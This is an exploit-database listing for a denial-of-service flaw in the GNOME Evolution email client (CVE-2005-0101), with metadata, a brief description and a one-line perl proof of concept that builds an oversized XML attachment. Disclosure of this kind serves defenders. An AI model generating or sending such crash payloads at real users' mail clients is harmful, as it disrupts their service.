header-logo
Suggest Exploit
vendor:
Evolution Email Client
by:
Unknown
7.5
CVSS
HIGH
Denial-of-Service
400
CWE
Product Name: Evolution Email Client
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: NO
Related CWE: CVE-2005-0101
CPE: a:gnome:evolution
Metasploit: https://www.rapid7.com/db/vulnerabilities/freebsd-vid-7f13607b-6948-11d9-8937-00065be4b5b6/, https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2005-0101/
Other Scripts:
Platforms Tested:
Unknown

Denial-of-Service Vulnerability in GNOME Evolution Email Client

The GNOME Evolution email client is vulnerable to a denial-of-service attack when processing messages that contain inline XML file attachments with excessively long strings.

Mitigation:

There is no known mitigation or remediation for this vulnerability.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/16408/info

GNOME Evolution email client is prone to a denial-of-service vulnerability when processing messages containing inline XML file attachments with excessively long strings. 


perl -e 'printf "A"x40000' > evolution-dos-poc.xml

Navigation

Suggest Exploit

Services By CQR